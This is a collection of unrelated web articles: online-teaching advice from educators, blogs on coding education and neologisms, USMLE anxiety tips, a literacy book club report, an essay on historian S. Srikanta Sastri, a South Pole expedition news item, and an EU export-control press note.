Michelle Shory, Ed.S., is a district ESL instructional coach in the Jefferson County public schools, Louisville, Ky. She is passionate about literacy and helped establish Dolly Parton’s Imagination Library in Louisville:
Online classes can be convenient and beneficial in many ways for teachers and students in terms of accessibility and timing. As many teachers have transitioned from face-to-face teaching to interacting with their students through a computer screen, adjustments must be made to accommodate the new learning environment.
Online teaching requires a lot of patience—not only does it take time for a teacher to learn new platforms and apps, but the students must also adjust to being online. To add to this, other variables may provide means for frustration, including variances in internet speeds, pricing of programs, and more.
Although the quality of technology available in modern times is tenfold better than in the past, many teachers still find themselves relying too much on standard reading and writing assignments. These types of assignments are important, but they are based on acquired skills and are therefore more cognitively demanding and may lead to brain overload and shutdown. To combat this and help students stay on task, teachers should supplement reading and writing with listening and speaking assignments. Additionally, teachers should refrain from continually providing long assignments: Some researchers believe that a typical student’s attention span is around 10 to 15 minutes, thereby supporting the need for shorter tasks.
Luckily, there are online tools to help apply these concepts to the new learning environment. One example is Edpuzzle, which allows teachers to break assignments into manageable bits and combine different skill sets. The site can record student and teacher voices to personalize videos and embed either open-ended or multiple-choice questions into videos. By installing the Edpuzzle Chrome Extension, teachers can add YouTube videos to their Edpuzzle free accounts for use in their lessons. Videos can then be edited to enhance student learning and keep them accountable in the learning process.
Another important influence on student learning is peer interaction and fostering active learning through collaboration. There are numerous apps that can help students to actively work together to create their own knowledge in collaboration with peers. One such app is Google Meet. It’s free for teachers and students and offers personal connection that can be easily overlooked in online learning by helping students communicate more clearly through words, facial expressions, and gestures.
In addition to peer connections, students should be reminded of the importance of the work they are doing. Teachers should actively provide feedback when applicable and also ask students to write reflections—ongoing feedback and reflection will make online learning experiences more meaningful and productive for students. Teachers can encourage reflections through a variety of activities such as asking students to participate in discussion posts, create podcasts, or simply respond to writing prompts. Padlet is an example of a great platform to use for student reflections as well as short responses, exit tickets, icebreakers, idea brainstorming, and note-taking.
Lastly, when students are given the opportunity to pursue an online project, they are able to explore special interests and topics that they find interesting and relevant. Teachers can stimulate student engagement by assigning projects which then allow the students to work at their own pace and have a sense of accomplishment upon its completion.
The strategies mentioned here are a handful of the many that have been used and researched over the years. When comparing traditional and online environments, certain parts may be the same, but the differences between the two are what matters in making an impact on student lives when in an online setting.
“Create opportunities for engagement”
Amanda Lescas is an ESOL instructional specialist with the school district of Palm Beach County in Palm Beach, Fla. Amanda works with teachers and students in grades K-12 and is passionate about finding ways to make instruction engaging, equitable, and accessible for all:
The first thing to remember when teaching online is that our students cannot rely on the simple cues they receive when they are in the classroom. They cannot look around the classroom to see what others are doing should they become lost, quickly ask another classmate for help, or follow gestures or visual cues from the teacher. Because of this, we need to slow things down. Your online curriculum cannot be taught at the same pace as in-person learning. Consider breaking up your text and chunking it apart into smaller, comprehensible pieces. You most likely would not stand in front of your class and read an entire article or chapter without stopping. As you prepare your lessons, think about the pacing and where you would naturally stop and clarify or ask questions to your class. Those are your chunks!
The beauty of online learning is that you can control the pace of when you push material out to students. Take your text and break it apart for your students, giving them individual pieces one at a time. Add clarifying questions and provide annotated resources in the form of pictures, translations, or vocabulary support. I like doing this through Google slides, by simply taking a screenshot of pieces of the text for my students and adding the language support my students will need.
Create opportunities for engagement but provide a safe, risk-taking environment. Nearpod is a great program for creating low-risk engagement opportunities in your lessons. Students can engage in the content through multiple-choice questions, fill-in-the-blank activities, or add their thoughts onto a collaboration board embedded into your lesson. Nearpod can make a huge impact on student engagement and allow for low-risk participation.
But even if you don’t have access to this program, you can create similar experiences on your own. Pose a question to your class and type it in the chat feature of your online meeting. Add sentence stems right onto the chat to help frame their thinking and allow your students to either speak or write their answer. Create a word bank of key terms, and their translations if needed, before a class discussion and share your screen so they can see the word bank. Add visuals to your screen. No matter what system you use, students need to be part of your online class just as though they are in the traditional brick and mortar classroom.
It is more of a challenge to create relationships with your students in an online environment, but it is not impossible. Flipgrid is an amazing tool where a teacher poses a question or creates a topic, and students respond orally through video format. Because the videos are created in the privacy of your home and students can record as many times as they like, it feels more comfortable and less “on the spot” than a classroom discussion. Flipgrid is a free resource, extremely user-friendly, and there are thousands of resources online to get you started. You can still create a sense of community in your online class. Just as you would in a classroom setting, take the time to get to know your students during your online meetings by asking questions about their life. Share details about yours! Create a Google form to give your students for frequent check-ins. Find out how online learning is going for them and what else they need from you. Get a temperature check on how they are coping with the online setting and ask how you can best meet their needs.
Teaching an online class creates a whole new set of challenges for teachers. Not being able to teach students face to face comes with a series of unique obstacles. However, we can still provide quality instruction for our students, and online teaching allows for innovation and creativity. After all, we’re teachers!
The importance of “learning goals”
Kristin Rouleau, Ed.D., is executive director of learning services and innovation at McREL International. She works with schools, districts, and state departments of education as they navigate change and implement practices and structures to consistently deliver high-quality instruction and increase student achievement:
Every classroom is a community, with as broad an array of social dynamics as any city or workplace. This is true even if the “classroom” consists of computers in kitchens and bedrooms scattered over a vast geography. The fundamentals of collegial support and professional learning still apply.
I spent several years consulting with a state-chartered online school whose teachers were having trouble cohering as a faculty. The principal was frustrated because the online format seemed to attract teaching candidates who thought of themselves as solo practitioners. I must admit, there is some allure to the notion: Teaching sure would be a lot more relaxing if we could bypass the commute and dial way back on face-to-face interaction! After assessing the situation, however, my colleagues and I realized that if anything, going “virtual” only ratchets up the need for effective communication—to address students and colleagues alike with a highly developed degree of intentionality.
The broad answer to this question, then, is that professional learning is an effective strategy for teachers of online classes, just as it is for all teachers. Our approach was to emphasize the aspects of our traditional PL dealing with professional vocabulary and collaboration. Learning isn’t something that teachers do to students; it’s something that students, ultimately, need to do for themselves, and for that to happen, they need to understand and be full partners in their learning goals. Discussing learning goals puts you firmly on the path to better communication among teachers and better academic results for students.
We also established professional learning communities: before-the-bell team meetings to work with instructional coaches, analyze data, or plan lessons. In doing so, we discovered one way in which “virtual” teachers actually have a distinct advantage over their IRL colleagues: Since all lessons are recorded, peer coaches can observe them and share feedback asynchronously.
Both subjective and objective data show that the school is functioning at a higher level now: Teachers feel better supported, and more students are graduating. Working with a virtual school taught me that if we can tune out distractions and focus on what matters most, technology can be used to re-create and even amplify the best aspects of F2F collaboration.
A recipe for online learning
Dr. Theresa Capra is a professor of education and clinical supervisor for teacher-candidates. She is the founder of edtaps.com, which focuses on research, trends, technology, and tips for educators:
COVID-19 may be a new virus, but distance education has a storied past beyond its recent ascent to household nomenclature. Conceptually, it’s even older. People have always sought alternatives to traditional, face-to-face instruction, including experimentation with mail, radio, and television. Finally, in the 1990s, two-way, asynchronous internet courses were born, but educational institutions have been slow to innovate beyond physical classrooms. Now educators everywhere are being called upon to create and teach online courses in rapid order. How to get it right? Here’s a few strategies to make design and instruction a piece of cake!
Focus on the meat & potatoes!
Online course design has evolved with more attention paid to technological bells and whistles while ignoring the nutritious entre: pedagogy. Design usually begins with a textbook. Learning objectives are bulleted, and modules proceed chapter by chapter with overlapping activities that create perfunctory, dry, cognitively dull learning experiences.
Instead, learning theories should guide design and delivery for internet learning. For example, Community of Inquiry (2000) is a learning theory adapted for application in computer-mediated learning environments. Community of Inquiry identifies three domains that combine to create a meaningful online learning experience: social, cognitive, and teaching.
Community of Inquiry positions the instructor as a member of the learning community, not just the leader. For example, in a history course, the instructor could get into the trenches alongside students to compare and contrast modern occurrences to historical events. Events are happening in real time, outcomes are uncertain, perspectives varied, and long-term impacts debatable—therefore, the instructor is working through the evidence for conclusions in contrast to asserting established facts Synchronous sessions could be devoted to such learning instead of topical lecture. Place students in small teams to track down and evaluate sources to facilitate these discussions. This is not the dreaded current events project from history courses years ago!
Make it fine dining, not a buffet.
Online courses began their existence with bare bones, but as Learning Management Systems (LMSs) became more robust, instructors were able to add a variety of assignments and assessments to create more complex courses. However, teaching an online course should be more like fine dining rather than scooping every buffet item onto your plate—a less-is-more approach should be employed. Don’t use a tool just because it’s what everyone uses or it’s convenient. For example, if the goal is to assess whether students have read a chapter, watched a recorded lecture, or completed their homework, why have a discussion board? Unless your questions are carefully crafted to facilitate application, discussion boards should be reserved for eureka moments, questions for the instructor and peers, sharing of sources, and collaboration.
Cook it yourself!
Many fully online courses have become generic, one-size-fits-all shells that can be rolled over to anyone, anytime—prototypes with imperceptible differences. Franchises such as McDonald’s have built empires on this practice—a Big Mac is virtually the same from Vietnam to the Virgin Islands. But should such business practices be transferred to distance learning or really any learning for that matter? Many institutions, both public and private, are moving in this direction. Courses are predesigned, and consequently, instructors become managers rather than teachers.
This business approach contradicts important aspects of teaching and learning that call for intrinsic motivation for both students and teachers. Many textbook companies have aided and abetted by selling fully developed online courses eliminating the need for instructor input—just plug and play. But when an educator is leading a course that she has cooked herself, she will naturally be more inclined to engage with the students, which is vital for successful online teaching.
It’s not your grandmother’s lasagna!
Is online education different from traditional learning? Yes. It’s not useful to compare it to traditional views of education that occur in a physical classroom. Instead, educators should frame questions that address what we have in front of us right now: How can we develop deep learning experiences, can students become more thoughtful, diligent learners who feel empowered, can we infuse more opportunities for critical thinking, can it lead to increased accountability in the future? These questions can help teachers serve up classes that will work for students.
The next question-of-the-week is:
What is blended learning and how can it be effectively used by teachers and students?
Thanks to Marcy, Michelle, Irina, Amanda, Kristin, and Theresa for their contributions!
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For those of you who have been around instructional technology for a while, this may offer some warm, fuzzy nostalgia: the classic game Oregon Trail recently celebrated it’s 50th birthday.
Last week we celebrated Computer Science Education Week, with many schools offering it’s very popular Hour of Code activities to their students. And we heard from many politicians, business people, and ed leaders calling for all students to study coding as part of their regular school program.
But is that necessary? Or even a good idea?
The Guardian news site evaluated exactly that issue when they asked Should Kids Learn to Code? Their question is prompted by the fact that the UK government has added computer programming to the curriculum for students in all their schools beginning next fall.
In Great Britain, as well as in the US, one of the primary arguments for having kids learn to code is economic. They are trying to grow their tech industries, something, of course, many states on this side of the Atlantic would like to do. New York City has announced that “computer science will be compulsory in the city’s schools within the decade” and other areas are looking seriously at similar requirements.
However, as with the many exaggerated claims for the number of STEM jobs that go unfilled due to a lack of trained graduates, you have to wonder how many programmers will be needed in either country.
Excitable industry claims about creating millions of new jobs by 2020 (tactfully described by one well-placed industry source as “more a campaigning tool” than anything) may not hold water, but the UK Commission for Employment and Skills still estimates that another 300,000 digital jobs could be created by 2020.
Certainly the number of students learning to code in the UK by 2020 will far exceed the number of “digital jobs” available, which is likely an exaggerated number from that “excitable industry” anyway.
Then there is the other major justification to have computer science training for all students: to help them understand how our increasingly software-driven world works (or fails to work in some instances). That is a rationalization I can actually support – but not if the approach taken is the same as for teaching mathematics in most American high schools.
Just as there are no good reasons, academic or economic, for every student to follow the standard path from Algebra I through Calculus, the standard computer programming curriculum is not appropriate for helping future adults understand the digital world.
In any case, I also wonder about the impact of all the Hour of Code events from last week. And last year and the year before. In the schools around here (and I suspect elsewhere), the kids get their hour playing with Scratch or robots or Star Wars-based tutorials and then return to the normal school program.
If the people who believe kids should learn the concepts of code are serious, it’s going to take more than an hour a year. But it also needs to be part of a major overhaul to the standard K12 curriculum.
Kevin Hoctor, Chief Cook and Bottle Washer for a small software company (actually founder and lead developer), has this advice for young people who want to make apps.
Find something in your life that is broken and build software around that. Don’t just build an app for money, you won’t enjoy maintaining it. Instead, create apps that you are passionate about and strive to make the experience using your apps delightful for your customers.
We should take that same advice in creating schools.
Incidentally, this interview is part of the App Camp for Girls project now asking for help on the Indiegogo site. They are “a non-profit organization that seeks to address the gender imbalance among software developers by giving girls the chance to learn how to build apps, to be inspired by women instructors, and to get exposure to software development as a career.”
The group has already met their original target (including, full disclosure, a relatively small amount from me) and has some great stretch goals to expand the project to other areas of the country and reach even more kids. Go read about them and kick in a few bucks if you are so inclined.
As mentioned in a previous rant, we’re trying to define “digital learning” here in the overly-large school district. Assuming the term has any meaning at all. The jury is still out on that part.
Anyway, at one of our community meetings this week, a parent told me an interesting story about digital learning, or the lack thereof.
His son is taking the beginning computer science class at one of our secondary schools (middle and high in one building), a course in which students traditionally learn the basics of programming hands-on, by actually writing, testing and debugging applications.
At the beginning of the year, they were told that all of their projects had to be completed by the first of May, which is about seven weeks prior to the end of our school year.
Why so early?
For the month of May into early June in this school, and pretty much every other one in the system, every student computer is conscripted for online standardized testing.
Thus, for roughly six weeks out of a 36 week school year learning for these students will come to a halt.
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Ellesmere Town Hall
A response to the heritage of Rope Making at this site marked by the long terrace of Charlotte Row Cottages known as Rope Row opposite Ellesmere Town Hall. The area used to be a Blackwater area bridged by Sparbridge. The cascade of water was drained in C19th during the making of the canal. The sculpture is an abstract representation of this heritage.
For more information on this project click here: 2013 Town Hall
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Adorkable: 2. Both dorky and adorable. A higher state of being all dorks strive towards.
I like this newly created term for a few reasons – firstly, because it’s quirky. Secondly, because it puts a positive spin on smart people who may not have been star quarterbacks or head cheerleaders in high school (says the former captain of the marching band and President of the French Club). Thirdly, it’s a perfect example of language adapting to cultural change.
A few months ago, I read an article from BBC news regarding the various Americanisms popping up and how much British people hate them. The original article was so popular among our friends across the pond that the BBC actually posted a follow-up article with reader comments and additional examples of what they consider infuriating new words and/or phrases. As a professional translator, and someone who spent many hours in college learning about language evolution, I found this article very interesting and thought-provoking. Why get so worked up about neologisms when language has always been (and will always be) ever-changing?
Most of us (especially anglophones) probably learned about the various stages of the English language:
The evolution of the French language happened in much the same way (as I’m sure is the case for many other languages):
As the world changes, language has no choice but to follow. How else would we tweet about the latest version of the iphone, how much we hate the newest changes to facebook (although I actually like them), or the hottest eco-friendly innovations hitting the market?
As translators and/or interpreters, it is just as important to stay abreast of new words and expressions as it is new translation technologies, because if we don’t know a new word or phrase, how can we translate it?
Therefore, this is what I have to say to the BBC and their Americanism-hating readership:
Let me give you a heads up, guys – I’m sorry you’ve got issues with our hike in neologisms that you feel are coming out of left field, and the way we pronounce the letter zee, but you can’t let it faze you. You’re talented people, so if you want, cut your losses, tap into the now, step up to the plate, turn it around, and buck the trend by contributing more of your own neologisms going forward, because like it or not, it is what it is. Language evolves whether you’re doing the evolving or not. Period.
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8 Proven Techniques to Manage USMLE Test Anxiety
- Jun 16, 2021
At some point in our lives, we will feel anxious. It’s part of being human. The ability to prognosticate and think about the future gives us the power (or burden) to reflect upon what might happen. And, as survival instincts have led to our evolution over millions of years, we are always prepared for the worst of what might happen.
anx·i·e·ty: a feeling of worry, nervousness, or unease, typically about an imminent event or something with an uncertain outcome.
Stress is designed to be a good thing. It’s the little extra something that allows for the upper echelons of human performance. We call this beneficial stress “eustress,” and juxtapose it against its antipode, distress — the feeling that something is wrong, that we are failing. And it spirals. And it sucks in any mental faculty we have. We wonder why we are worrying, and then this makes us worry more. And when 90% of our mind is dwelling on these negative feelings, there’s not much more of it to focus on the task at hand: performing well on your test. What to do?
How to Manage USMLE Anxiety:
1. Remember that the USMLE is an opportunity, not a hurdle.
Let’s start with a general reframing of the entire situation. If you put in the dogged effort required to do well, if you prepare with every ounce of energy, and if you are confident that you couldn’t have worked any harder to succeed, then your exam will be a chance to excel. It’s imperative to squelch the idea that the exam is a big, bad entity looking to destroy you. Replace this thought with the idea that the exam is an objective collection of questions, and it’s your job (and has been your job ) to answer them, one by one.
Despite a rock-hard mindset, you might still find yourself in a jam. I remember sitting at the test-center computer, with ear plugs tickling my tympanic membranes and the Prometric leaf-blower style headphones on. A cardiology question involving heart sounds came up, and all of a sudden, there I was, with my own heartbeat reverberating in my head. This only made it louder. Valuable time was lost thinking about thinking, outcomes, scores, residencies, and about the time I was losing. I was able to rally and collect myself using some of the techniques below. Many are borrowed from cognitive-behavioral therapy, and can help you to disregard negative thought loops.
2. During your exam, remember the stop sign.
Close your eyes for a moment and visualize the word “STOP” taking up your entire field of view. Take a breath, think of something positive (success, puppies, the person you love the most beaming at you, etc.), smile, and when you’re ready, get back to work with a newly centered mind.
3. Combat testing anxiety with deep breathing.
Pump the brakes on all thought and direct the entirety of your focus on your breath. Take two or three long, deep breaths, taking about 5 seconds to inhale, and 5 seconds to exhale. Even if this “costs” you 30 seconds, finding your center and going to the next question(s) with focus will be worth it.
4. Gather yourself.
It’s so easy to let the mind wander during dark times at the test center. I need to not fail this test. I should have studied more. Why can’t I do this?
Negative self-talk is the enemy. Do not try to answer questions with half of your mind on medicine and the other half on jabber. You have to stop and gather yourself.
Besides deep breathing, another technique involves putting all of these negative thoughts into a tiny cardboard box in your mind, and throwing it out of your mind’s eye. Not only will this visualization help you overcome the thoughts, but it will stop you from trying to answer questions with a compromised mind.
5. Use progressive muscle relaxation to focus your mind on your test.
This is another great way to bring things to a halt and de-stress your mind and body. Starting with your head and progressing inferiorly, violently tense every muscle in your body, then allow it to completely relax. Flex your forehead, jaw, chest, arms, lumbricals, abdomen, buttocks, thighs, calves, toes, etc. You will be much more relaxed after you channel some of that stress into muscular action, and release it all from your body.
What anxiety management techniques can I develop before exam day?
Sit in total focus and allow thoughts, both good and bad, to float through your mind like clouds in the sky. By relaxing your mind and strengthening your focus in non-testing situations, you will be in a better spot during the test as well. You needn’t be a reclusive yogi; sitting for 10 minutes per day in distraction-free silence is a great place to start.
7. Emulate the USMLE testing environment.
It is imperative to do enough practice tests—both NBME and full-length tests—to mimic the thoughts, feelings, and stress of important testing situations. Regular question blocks are too easy to coast through; you need something that you identify as important and different. How many is enough? While it is definitely a different number for everyone, Step 1 students should get through at least 2-3 NBMEs and one full-length practice test before the real deal. For Step 2, 1-2 NBMEs and the often forgotten full-length practice test should suffice.
For the real go-getter, you can purposely put yourself in a jam. Let 5-7 minutes tick off your UWorld block before beginning so that you’re forced to work a little more quickly than usual and answer the last few questions with very limited time. That way, if it happens on the real test, you can have the positive thought, “I have been here before, and I know how to handle this situation.”
8. Be kind to your eyes and brain.
Taking a USMLE exam means staring intently at a computer screen for eight-plus hours and racking your brain to both recall trivial factoids you’ll never use in real life, as well as synthesize answers based on complex physiology and pathology.
Any way you slice it, it is not an exam or day that you’ll look back on fondly.
So be nice to your brain and eyes! Don’t do a ton of studying the one or two days beforehand. Do some basic review work on your trivia factoid flashcards and then get out into the sun and exercise so that you’re able to sleep the night before. Do something fun with your loved ones and take some stress off. Minimize your screen time so that when it’s time to burn the USMLE software into your retinas, they’ve had a chance to rest. Feeling better will go a long way in helping to keep your anxiety at a manageable level on test day.
If you identify yourself as someone who definitely struggles with anxiety, there is tremendous value in seeing a professional to help you build a framework to approach and cope with your testing anxiety.
Many medical schools have expert mental health services to help you with situations just like this. They’ve seen anxiety before and know how to help students cope. Therapy exists for a reason, and while it’s not something everyone is comfortable talking about, there is absolutely no shame in getting help when you need it.
If it means a better score, more residency opportunities, and an improvement of other areas of your life where you’re feeling anxiety, then you should absolutely pursue this route. (Many of our students have done this and have seen tremendous improvements after getting their testing anxiety under control.)
To close, I want to remind you that you are not alone. A recent study found that 22% of second-year medical students experienced moderate to extremely high test anxiety! Everyone will experience anxiety; the difference comes in how you process it. Use some of the above techniques, make sure your preparation is as solid as possible, desire success more than you fear failure, and you will be on your way to your best score.
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Written by Catherine Coundjeris, Book Club Facilitator and Writing Classes Instructor
This summer’s Book Club at the Literacy Council met for four sessions and had the special treat of reading a book, As Far as The I Can See by fellow tutor Julie Heifetz. It was a page turning memoir of Julie’s experience working for a five-star resort in the Yucatán peninsula in southeastern México. The book presented like a novel, depicting breathtaking scenery and prose that read like poetry. We met on Zoom and Julie was able to join us for an author interview. Students were able to ask Julie about the writing process and she shared her experience performing monologues and interviewing Holocaust survivors for her books, “Too Young to Remember” and “The Oral History of the Holocaust”. She also published poetry and the musical “Sara’s Song”, which won a regional Emmy.
Her interest in others and their stories began as a young woman, “Ever since I was a child listening to my Austrian-born grandfather tell stories about his twenty-four years living in Broken Bow, Oklahoma, which was Indian territory, before Oklahoma became a state, I have been mesmerized by the stories of real people.” She shared her advice on writing by telling the students to keep their stories to themselves until they write them down. Too much oral sharing before one sits down to write diminishes the reason to write in the first place. Hence she never shared her story of Torbellino until she wrote the book. Another revelation about her as a writer involved revision, which takes a great deal of her time and she told the students don’t worry about getting it right the first time.
Members of the Book Club included: Y R., Jamila T., Sungheui P., Maria V., Wenfei Z., Monica A., Dayanna E., Silvia M., Jenny C., and tutor, D. J. M.
The students were very enthusiastic about reading Julie’s book and participating in a book club with a real author. Maria said, I would like to thank you for doing a book group or book club. I enjoyed it because I liked the story and meeting its author. I identified with this story, by the fact of living the experience of being in another country that is not yours and by the difference in language. This book “As Far As The I Can See” is full of suspense and funny moments. Through its different characters, from different culture of another country, we learn and get to know the idiosyncrasies of a people. The book club helps us a lot, to increase our vocabulary and lead us to a deeper understanding of reading. Thanks for giving us this opportunity to improve our English and meet different authors, and different points of view and different experiences too.
Y was touched by the deeper meaning of the book and engaged Julie with lively questions: Thinking back, Julie was telling us who she truly is throughout the book; enduring in disbelief dysfunctional human behavior in that beautiful location and condition in Yucatán Jungle. She lived moment to moment by trusting her kindness and goodness which lie deep down in her core. She was a hero to those who deserved it and most of all to herself, a successful journeyer. I thank Ms. Catherine for providing us for a chance to read the book.
Another student, Jenny was engaged with the mental exercise of joining a book club: But I really like this summer’s book club, because this club push me to keep reading and improved my writing also. And I was very excited when I saw the author. Thanks so much for your hard work!
Sunghei shared her reaction to the experience: The Summer book club always give me great motivation, especially at this time. Because I could be into the story, and I felt like same feeling with the author as a stranger, like lack of other languages, other position, which I have never expected in my country. The story challenges me, and encourage me to be hang in there.
We also had a tutor who joined us, D.J. And she had this to say about the experience: Having the author take part in the sessions was an added bonus. In the past we typically read a book about struggles, which individuals experience when they come to the US, especially adjusting to a new culture and language. This book turned the tables and we got a chance to experience what it was like for an English-speaking American to try to work, live and build relationships in a non-English-speaking country. It was also interesting to learn about her writing process as it seems like some of the Literacy Council students are working on writing projects of their own.
We have been holding the Book Club for several years now, and have read such books as The Distance Between Us: Memoir by Reyna Grande, Enrique’s Journeys by Sonia Nazario, A Revolution is Not a Dinner Party by Ying Chang Compestine, and The Kite Fighters by Linda Sue Parks. We are open for suggestions for our next Book Club meeting, which will be sometime in December/January. An announcement will be made in our upcoming class schedule for the Fall and Winter. | <urn:uuid:b96fd4d9-4d3e-4967-b82f-46588471dbff> | CC-MAIN-2022-33 | https://www.frederickliteracy.org/book-club-explores-as-far-as-the-i-can-see/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571198.57/warc/CC-MAIN-20220810161541-20220810191541-00265.warc.gz | en | 0.976944 | 1,077 | 1.703125 | 2 |
Here is an example of a critique written by Sastri and what is noteworthy is that instead of it becoming merely reactionary, it offers a wonderful commentary on Indian culture.
The German philosopher-historian Oswald Spengler wrote a two-part tome titled Der Untergang des Abendlandes (literally, ‘The Downfall of the Occident’), which was translated into English in 1926 as ‘The Decline of the West’ and it sold a hundred thousand copies. In his work, Sprengler tries to formulate certain general laws of cultural history based on what he thinks is the ultimate fundamental reality underlying every phase of cultural development. Sastri deals specifically with Sprengler’s views of Indian cultural development and tears him into shreds.
Sastri starts the essay with a brilliant passage –
“The prime characteristic of modern western thought is the perception of the fact that Western Culture has been tried and found wanting. Mingled with this sense of disappointment can also be found a wistful longing for some great new inspiration to enliven the life of to-day and hold forth a hope for the morrow. This wave of pessimism passed all over Europe as a result of the inability of the conventional standards of spirituality to cope successfully with the new order of things after a most disastrous world-war.”
Sprengler asserts that as contrasted with the Egyptian, the Indian ‘forgot everything’ as symbolised by burning of the dead and the absence of an art of portraiture. Sastri writes –
“But it must not be forgotten that ancestor-worship which is enjoined on every Hindu is a more subtle form of expressing the transcendental nature of Consciousness than the crude Egyptian method of mummification and of resorting to granite or basalt for the preservation of mere flesh.”
Upon a superficial observation of Indian culture, Spengler opines that it passes through a dreamy existence with no awareness of the world around. In response, Sastri says –
“What is impossible for the western man to understand is that there can be an intense individual existence, which, however rigidly it might appear to the outward eye, conform to the system of the World-as-Nature, might at the same time be independent of it.
“The Advaita doctrine... places before the world a conception of real democracy in a World of truth. The singularism of Śaṃkara admits of no weakness and is the most logical and rational conclusion that can be arrived at from the facts of consciousness as apprehended by the Indian soul.”
And further, he goes on to write –
“The personality and the individuality of each Self was assured to the Indian not by self-aggrandisement but by self-effacement. Society is but a means to an end-the end being the development of the real Self.
“Buddhism was not the perfect and final expression of the Indian soul as Spengler believes. It found no permanent place in the land of its birth as such, though when modified by Tantraism, Vaishnavism etc., it necessarily influenced the spiritual life of the country. It is but an early landmark in the spiritual evolution of the Indian soul, the culmination of which was the Advaita doctrine. It is nearer to the truth to say that the Non-dualism of Śaṃkara with its relentless logic formed the crown and the summit of Indian thought...
“The history of Indian Cultural development is thus one of spiritual growth primarily and acquires profound significance only when viewed from the point of India’s distinctive contribution to the world.”
Alluding to the period from the 10th century CE when the impact of the barbaric Islamic invasions began to be felt in the Indian life and society, Sastri writes that it was the period when the spiritual creative force dwindles, peaks and pines. Ethical and ritualistic dogmas loom large; the caste-system acquires rigidity; disproportionate attention is bestowed on dry philosophical discussions – often degenerating into mere quibbling; the memory for Feeling becomes a memory for Forms; and finally a pessimistic notion of Karma spreads over the whole continent, destroying all feelings of hope and strength, killing all ideas of Beauty, Truth and Freedom.
And Sastri wrote this when he was twenty-four!
Sastri never feared criticism because his findings and claims were based on solid evidence. Right from his high school days, he was sharp to identify errors in arguments and fearlessly took on even his teachers. For instance, when he was at the Wesleyan Collegiate School preparing for his University of Mysore entrance examination a second time, a missionary by name Rev. Brunt, who taught English would often ridicule Hinduism and Hindu gods. Sastri argued with him tooth and nail, boldly giving rock-solid evidence.
Sastri criticized the formidable Fr. Henry Heras and others who made the baseless claim that the Indus script was related to ancient Tamil.
When he was working as a tutor in the Maharaja’s College, Sastri wrote an article titled ‘Is Mysore Maharaja a True Sovereign?,’ which invited the ire of Dewan Mirza Ismail, who warned him of dire consequences if he didn’t retract his article. Needless to say, Sastri stood his ground firmly.
Sastri wrote a scathing critique of K A Nilakanta Sastri’s [Muddled] History of South India pointing out the many lacunae it had.
His papers on Basavanna, Pallava Mahendra-varma, Purandara-dasa, and others created huge controversy. It is not that he has not been disproved by later historians with regard to some of his claims but the number of things he got right is phenomenal!
And remarkable was his calmness in the wake of fiasco. He would simply say, For whatever I have claimed, I have all the evidence ready. If you have evidence to support your theory, please put them forward and we shall discuss! And anyone who spoke at a lower level than that, Sastri would simply ignore him. “Is it my job to reply to every shout or call that is heard on the street?” was a famous retort of the great historian.
To be continued…
1. A Votary of Truth – A documentary on Prof. S Srikanta Sastri
2. Ramaswamy, S R. A Tapestry of Pen-portraits. Bangalore: Prekshaa Pratishtana, 2020. ‘S Srikanta Sastri’ adapted into English by Hari Ravikumar, pp. 198–220
3. Śrīkaṇṭhayāna: The Collected Writings of Dr. S Śrīkaṇṭha Śāstrī. 2 Volumes. Eds. Sastry, T V Venkatachala and Narasimhamurthy, P N. Bangalore: Mythic Society, 2016
4. Śrīkaṇṭhikā – Dr. S Srikantha Sastri Felicitation Volume. Mysore: Geetha Book House, 1973 (on behalf of Dr. S Srikantha Sastri Felicitation Committee)
It is my pleasant duty to acknowledge the help and support of Nadoja Dr. S R Ramaswamy, Shatavadhani Dr. R Ganesh, and Jayasimha K R. I have greatly benefited from the excellent website about Srikanta Sastri maintained by his family members (www.srikanta-sastri.org/). My thanks are also due, to the Gokhale Institute of Public Affairs and Prekshaa Pratishtana.
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Newshub18 :A woman of Indian descent made history by traveling alone to the South Pole.
There was a time when the place for women in our country was only inside the house. They could not go out and do any work on their own. But times have changed. The mentality has also changed with him. And that is why at present women are snatching one title after another by competing with men. Besides, this time Captain Harpreet Chandi made history by maintaining that resh.
Originally, this British-Sikh army officer at the age of 32 is considered to be the first woman of Indian descent to travel alone to the South Pole. It is learned that Captain Harpreet completed this trek without any help. In this context, Captain Chandy wrote that this expedition is not just for him alone. Rather, he wants people to go beyond their limits and believe in themselves. In his words, “I want you to achieve everything except the rebel tag. I have been told many times that you should do normal things. But I decide for myself what my normal job will be. ”
In this context, a report in The Indian Express says that Captain Chandy himself has given this good news to everyone on his live blog. In 40 days, he covered 1,128 kilometers on a sled. He achieved his goal despite facing temperatures of minus 40 degrees and winds of 60 miles per hour. It is learned that Captain Chandy started his historic tour on November 7, 2021.
In this context, he wrote, “I have reached the South Pole. It’s snowing here. I feel a lot of emotion together. Until three years ago I had no idea about Polar World and now I can’t believe I got here. It was hard to get here. I am grateful to those who supported me. ”
Not only that, Captain Chandy continued to upload blogs during his trip and also shared his trekking map. Captain Harpreet Chandy is a member of the Medical Regiment in the North East of England. He took Craves training in the French Alps before trekking to the South Pole. Also, he has trekked in the Lanzokul Glacier in Iceland and spent 28 days in snow-covered Greenland. Basically, by practicing pulling heavy tires, he prepared himself for pulling sleds. Harpreet Chandy joined the Army Reserve at the age of 19 and became a regular member of the Army at the age of 25. Meanwhile, as soon as the news of his great success came out, there was a flood of good wishes everywhere | <urn:uuid:ee67bfb7-88a7-493e-921d-db8106f75e1f> | CC-MAIN-2022-33 | https://www.newshub18.com/a-woman-of-indian-descent-made-history-by-traveling-alone-to-the-south-pole/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.98765 | 530 | 2.203125 | 2 |
Brussels ( Diplomat.so) - The EU has upgraded its legislation on the export controls applicable to sensitive dual-use goods and technologies such as cyber-surveillance tools.
Today the Council adopted a regulation modernising the EU system for the control of exports, brokering, technical assistance, transit and transfer of dual-use items. These are goods, software and technology that can be used for both civilian and military applications.
"We welcome the new EU rules on exports of dual-use items that give human rights the prominence they deserve. Strong controls will allow us to prevent human rights violations and abuses, while keeping up with the latest technological developments."
João Leão, Portuguese Minister of Finance and President of the Council
The new regulation strengthens controls on a wider range of emerging dual-use technologies, and the coordination between member states and the Commission in support of the effective enforcement of controls throughout the EU. By introducing due diligence obligations for producers, the new rules also give companies an important role in addressing the risks to international security sometimes posed by dual-use items.
Finally, the dual-use regulation paves the way for better coordination between the EU and partner countries in enhancing international security through more convergent approaches to export controls at global level.
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Gallatin County Says Contact Tracing Won’t Rein In COVID-19 Alone
